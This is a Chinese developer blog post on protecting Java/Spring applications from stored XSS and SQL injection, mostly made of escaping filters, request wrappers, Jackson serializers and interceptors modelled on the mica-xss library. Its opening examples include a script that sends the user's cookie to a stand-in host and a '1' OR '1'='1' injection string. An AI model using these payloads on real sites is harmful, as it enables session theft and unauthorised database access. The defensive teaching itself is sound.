常用解决跨站脚本(XSS) 和 代码注入思路
文章目录
参考文档:
https://blog.csdn.net/m0_60571990/article/details/128071465
https://blog.csdn.net/weixin_43414889/article/details/105728136
https://www.cnblogs.com/ColoFly/p/16707896.html
https://zhuanlan.zhihu.com/p/483467955
https://blog.csdn.net/sinat_31420295/article/details/121519010
https://gitee.com/596392912/mica
一、描述
1.1、跨站脚本(存储型XSS)
详细描述
存储型XSS,也称为持久性XSS。
在存储型XSS中,XSS代码被存储到服务器端,因此 允许用户存储数据到服务器端的Web应用程序 可能存在该类型XSS漏洞。
攻击者提交一段XSS代码后,服务器接收并存储,当其他用户访问包含该XSS代码的页面时,XSS代码被浏览器解析并执行。
例如:我有一个新增员工的功能,其中需要填写 “address” 字段,此时就可以将“address”注入XSS代码如下:
<script>
var ajax = null;
if(window.XMLHttpRequest) {
ajax = new XMLHttpRequest();
} else if (window.ActiveXObject){
ajax = new ActiveXObject('Microsoft.XMLHTTP');
} else {
return;
}
ajax.open('GET', 'http://xxxx.com/cookie/' + document.cookie, true);
ajax.send();
</script>
这部分代码会在每次记载当前数据的时候,将当前登录用户的cookie信息发送到远程的 “http://xxxx.com” 网站中,对方获取cookie后就可以以 “你” 的身份登录到系统中;
危害严重性:
存储型XSS攻击的特点之一是提交的恶意内容会被永久存储,因而一个单独的恶意代码就会使多个用户受害,故被称为持久性XSS,它也是跨站脚本攻击中危害最的一类。
二是被存储的用户提交的恶意内容不一定被页面使用,因此存在危险的响应信息不一定被立即返回,也许在访问那些在时间上和空间上没有直接关联的页面时才会引发攻击,因此存在不确定性和更好的隐蔽性。
1.2、SQL代码注入
详细描述
SQL注入利用SQL的语言来注入恶意命令,这些命令可以读取或修改数据库,或损害原始查询的含义。
例如:有一个员工的查询功能,查询参数中有:userName 字段,此时可以 userName 注入SQL攻击,例如:
// 查询的sql:
"SELECT * FROM EMPLOYEE WHERE (NAME = '" + userName + "') ;"
// 恶意输入
userName = "1' OR '1'='1";
// 实际上运行结果
"SELECT * FROM EMPLOYEE WHERE (NAME = '1' OR '1'='1') ;"
危害严重性:
- 敏感数据泄露
- 数据被恶意修改或删除
- 在网页加入恶意链接、恶意代码以及 XSS 等
二、解决方案
2.1、包装类、自定义Json反序列化方式处理
实现思路:
- 重新包装请求
- 拦截请求
- 重写HttpServletRequest中的获取参数的方法
- 将获得的参数进行XSS处理
- 拦截器放行
优点(个人认为):
- 逻辑简单
缺点(个人认为):
- 操作复杂,需要自定义包装类
具体实现:
第一步: 重新包装请求
import org.apache.commons.text.StringEscapeUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.servlet.ReadListener;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.util.Map;
public class XSSHttpServletRequestWrapper extends HttpServletRequestWrapper {
private static final Logger logger = LoggerFactory.getLogger(XSSHttpServletRequestWrapper.class);
private HttpServletRequest request;
/**
* 请求体 RequestBody
*/
private String reqBody;
/**
* Constructs a request object wrapping the given request.
*
* @param request The request to wrap
* @throws IllegalArgumentException if the request is null
*/
public XSSHttpServletRequestWrapper(HttpServletRequest request) {
super(request);
logger.info("---xss XSSHttpServletRequestWrapper created-----");
this.request = request;
reqBody = getBodyString();
}
@Override
public String getQueryString() {
return StringEscapeUtils.escapeHtml4(super.getQueryString());
}
/**
* The default behavior of this method is to return getParameter(String
* name) on the wrapped request object.
*
* @param name
*/
@Override
public String getParameter(String name) {
logger.info("---xss XSSHttpServletRequestWrapper work getParameter-----");
String parameter = request.getParameter(name);
if (StringUtil.isNotBlank(parameter)) {
logger.info("----filter before--name:{}--value:{}----", name, parameter);
parameter = StringEscapeUtils.escapeHtml4(parameter);
logger.info("----filter after--name:{}--value:{}----", name, parameter);
}
return parameter;
}
/**
* The default behavior of this method is to return
* getParameterValues(String name) on the wrapped request object.
*
* @param name
*/
@Override
public String[] getParameterValues(String name) {
logger.info("---xss XSSHttpServletRequestWrapper work getParameterValues-----");
String[] parameterValues = request.getParameterValues(name);
if (!CollectionUtil.isEmpty(parameterValues)) {
for (int i = 0; i < parameterValues.length; i++) {
parameterValues[i] = StringEscapeUtils.escapeHtml4(parameterValues[i]);
}
}
return parameterValues;
}
/**
* The default behavior of this method is to return getParameterMap() on the
* wrapped request object.
*/
@Override
public Map<String, String[]> getParameterMap() {
logger.info("---xss XSSHttpServletRequestWrapper work getParameterMap-----");
Map<String, String[]> map = request.getParameterMap();
if (map != null && !map.isEmpty()) {
for (String[] value : map.values()) {
/*循环所有的value*/
for (String str : value) {
logger.info("----filter before--value:{}----", str, str);
str = StringEscapeUtils.escapeHtml4(str);
logger.info("----filter after--value:{}----", str, str);
}
}
}
return map;
}
/*重写输入流的方法,因为使用RequestBody的情况下是不会走上面的方法的*/
/**
* The default behavior of this method is to return getReader() on the
* wrapped request object.
*/
@Override
public BufferedReader getReader() throws IOException {
logger.info("---xss XSSHttpServletRequestWrapper work getReader-----");
return new BufferedReader(new InputStreamReader(getInputStream()));
}
/**
* The default behavior of this method is to return getInputStream() on the
* wrapped request object.
*/
@Override
public ServletInputStream getInputStream() throws IOException {
logger.info("---xss XSSHttpServletRequestWrapper work getInputStream-----");
/*创建字节数组输入流*/
final ByteArrayInputStream bais = new ByteArrayInputStream(reqBody.getBytes(StandardCharsets.UTF_8));
return new ServletInputStream() {
@Override
public boolean isFinished() {
return false;
}
@Override
public boolean isReady() {
return false;
}
@Override
public void setReadListener(ReadListener listener) {
}
@Override
public int read() throws IOException {
return bais.read();
}
};
}
/**
* 获取请求体
*
* @return 请求体
*/
private String getBodyString() {
StringBuilder builder = new StringBuilder();
String line;
try (
InputStream inputStream = request.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
){
while ((line = reader.readLine()) != null) {
builder.append(line);
}
} catch (IOException e) {
logger.error("-----get Body String Error:{}----", e.getMessage(), e);
}
return builder.toString();
}
}
第二步:拦截请求
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
/**
* Filter 过滤器,拦截请求转换为新的请求
*/
public class XssFilter implements Filter {
private static final Logger logger = LoggerFactory.getLogger(XssFilter.class);
/**
* 初始化方法
*/
@Override
public void init(FilterConfig filterConfig) throws ServletException {
logger.info("----xss filter start-----");
}
/**
* 过滤方法
*/
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
ServletRequest wrapper = null;
if (request instanceof HttpServletRequest) {
HttpServletRequest servletRequest = (HttpServletRequest) request;
wrapper = new XSSHttpServletRequestWrapper(servletRequest);
}
if (null == wrapper) {
chain.doFilter(request, response);
} else {
chain.doFilter(wrapper, response);
}
}
}
第三步:注册过滤器
注册过滤器有两种方式:
- 一种通过
@WebFilter
注解的方式来配置,但这种启动类上要加@ServletComponentScan
注解来指定扫描路径
@WebFilter
public class XssFilter implements Filter {
/**
* 初始化方法
*/
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// 省略部分代码
}
/**
* 过滤方法
*/
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// 省略部分代码
}
}
- 另外一种就是以
Bean
的方式来注入
/**
* XSS 的Filter注入
* 用来处理getParameter的参数
* @return
*/
@Bean
public FilterRegistrationBean xssFilterRegistrationBean(){
FilterRegistrationBean filterRegistrationBean = new FilterRegistrationBean();
filterRegistrationBean.setFilter(new XssFilter());
filterRegistrationBean.setOrder(1);
filterRegistrationBean.setDispatcherTypes(DispatcherType.REQUEST);
filterRegistrationBean.setEnabled(true);
filterRegistrationBean.addUrlPatterns("/*");
return filterRegistrationBean;
}
上面配的是使用request.getParameter()
的时候生效的,但是当我使用@RequestBody
来接收参数的时候是不行的,所以还得有下面的代码:
处理请求中的JSON数据
/**
* 反序列化,用来处理请求中的JSON数据
* 处理RequestBody方式接收的参数
*/
public class XssJacksonDeserializer extends JsonDeserializer<String> {
@Override
public String deserialize(JsonParser jp, DeserializationContext ctxt) throws IOException, JsonProcessingException {
return StringEscapeUtils.escapeHtml4(jp.getText());
}
}
处理返回值的JSON数据
/**
* 处理向前端发送的JSON数据,将数据进行转译后发送
*/
public class XssJacksonSerializer extends JsonSerializer<String> {
@Override
public void serialize(String value, JsonGenerator jgen, SerializerProvider provider) throws IOException {
jgen.writeString(StringEscapeUtils.escapeHtml4(value));
}
}
注册、配置自定义的序列化方法
public class MicaXssConfiguration implements WebMvcConfigurer {
@Override
public void extendMessageConverters(List<HttpMessageConverter<?>> converters) {
Jackson2ObjectMapperBuilder builder = new Jackson2ObjectMapperBuilder();
ObjectMapper mapper = builder.build();
/*注入自定义的序列化工具,将RequestBody的参数进行转译后传输*/
SimpleModule simpleModule = new SimpleModule();
// XSS序列化
simpleModule.addSerializer(String.class, new XssJacksonSerializer());
simpleModule.addDeserializer(String.class, new XssJacksonDeserializer());
mapper.registerModule(simpleModule);
converters.add(new MappingJackson2HttpMessageConverter(mapper));
}
}
2.2、InitBinder、自定义Json反序列化方式处理
实现思路:
- 创建拦截器类
- 定义Form中String类型的 PropertyEditorSupport
- 拦截请求
- 自定义InitBinder
- 将获得的参数进行XSS处理
- 拦截器放行
具体实现:
第一步:创建拦截器类
@RequiredArgsConstructor
public class XssCleanInterceptor implements AsyncHandlerInterceptor {
private final MicaXssProperties xssProperties;
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
// 1. 非控制器请求直接跳出
if (!(handler instanceof HandlerMethod)) {
return true;
}
// 2. 没有开启
if (!xssProperties.isEnabled()) {
return true;
}
// 3. 处理 XssIgnore 注解,将数据写入到 ThreadLocal 中呢
XssHolder.setEnable();
return true;
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
XssHolder.remove();
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
XssHolder.remove();
}
}
第二步:拦截器的生效
@Configuration(proxyBeanMethods = false)
@EnableConfigurationProperties(MicaXssProperties.class)
public class MicaXssConfiguration implements WebMvcConfigurer {
private final MicaXssProperties xssProperties;
@Override
public void addInterceptors(InterceptorRegistry registry) {
List<String> patterns = xssProperties.getPathPatterns();
if (patterns.isEmpty()) {
patterns.add("/**");
}
XssCleanInterceptor interceptor = new XssCleanInterceptor(xssProperties);
registry.addInterceptor(interceptor)
.addPathPatterns(patterns)
.excludePathPatterns(xssProperties.getPathExcludePatterns())
.order(Ordered.LOWEST_PRECEDENCE);
}
}
第三步: 定义Form中String类型的 PropertyEditorSupport (仅仅用于处理form类型的数据)
@Slf4j
@RequiredArgsConstructor
public class StringPropertiesEditor extends PropertyEditorSupport {
@Override
public String getAsText() {
Object value = getValue();
return value != null ? value.toString() : StringPool.EMPTY;
}
@Override
public void setAsText(String text) throws IllegalArgumentException {
if (text == null) {
setValue(null);
// 这里为
} else if (XssHolder.isEnabled()) {
String value = xssCleaner.clean(XssUtil.trim(text, properties.isTrimText()));
setValue(value);
log.debug("Request parameter value:{} cleaned up by mica-xss, current value is:{}.", text, value);
} else {
setValue(XssUtil.trim(text, properties.isTrimText()));
}
}
}
第三步: InitBinder
springmvc 并不是能对所有类型的参数进行绑定的,如果对日期Date类型参数进行绑定,就会报错 IllegalStateException 错误。
所以需要注册一些类型绑定器用于对参数进行绑定。
InitBinder 注解就有这个作用。
使用@ControllerAdvice定义全局绑定器
@ControllerAdvice
public class InitBinderAdviceController {
@InitBinder
public void initBinder(WebDataBinder binder) {
// 处理前端传来的表单字符串
binder.registerCustomEditor(String.class, new StringPropertiesEditor());
}
}
处理请求中的JSON数据
@RequiredArgsConstructor
public class JacksonXssClean extends JsonDeserializer<String> {
private final MicaXssProperties properties;
private final XssCleaner xssCleaner;
@Override
public String deserialize(JsonParser p, DeserializationContext ctx) throws IOException {
// XSS filter
String text = p.getValueAsString();
if (text == null) {
return null;
}
if (XssHolder.isEnabled()) {
String value = xssCleaner.clean(XssUtil.trim(text, properties.isTrimText()));
log.debug("Json property value:{} cleaned up by mica-xss, current value is:{}.", text, value);
return value;
} else {
return XssUtil.trim(text, properties.isTrimText());
}
}
}
注册、配置自定义的序列化方法
public class MicaXssConfiguration implements WebMvcConfigurer {
@Override
public void extendMessageConverters(List<HttpMessageConverter<?>> converters) {
Jackson2ObjectMapperBuilder builder = new Jackson2ObjectMapperBuilder();
ObjectMapper mapper = builder.build();
/*注入自定义的序列化工具,将RequestBody的参数进行转译后传输*/
SimpleModule simpleModule = new SimpleModule();
// XSS序列化
simpleModule.addDeserializer(String.class, new JacksonXssClean());
mapper.registerModule(simpleModule);
converters.add(new MappingJackson2HttpMessageConverter(mapper));
}
}
现成的轮子
该方案中那么多代码,其实都是参考 mica-xss
模块。
<dependency>
<groupId>net.dreamlu</groupId>
<artifactId>mica-xss</artifactId>
<version>2.5.8</version>
</dependency>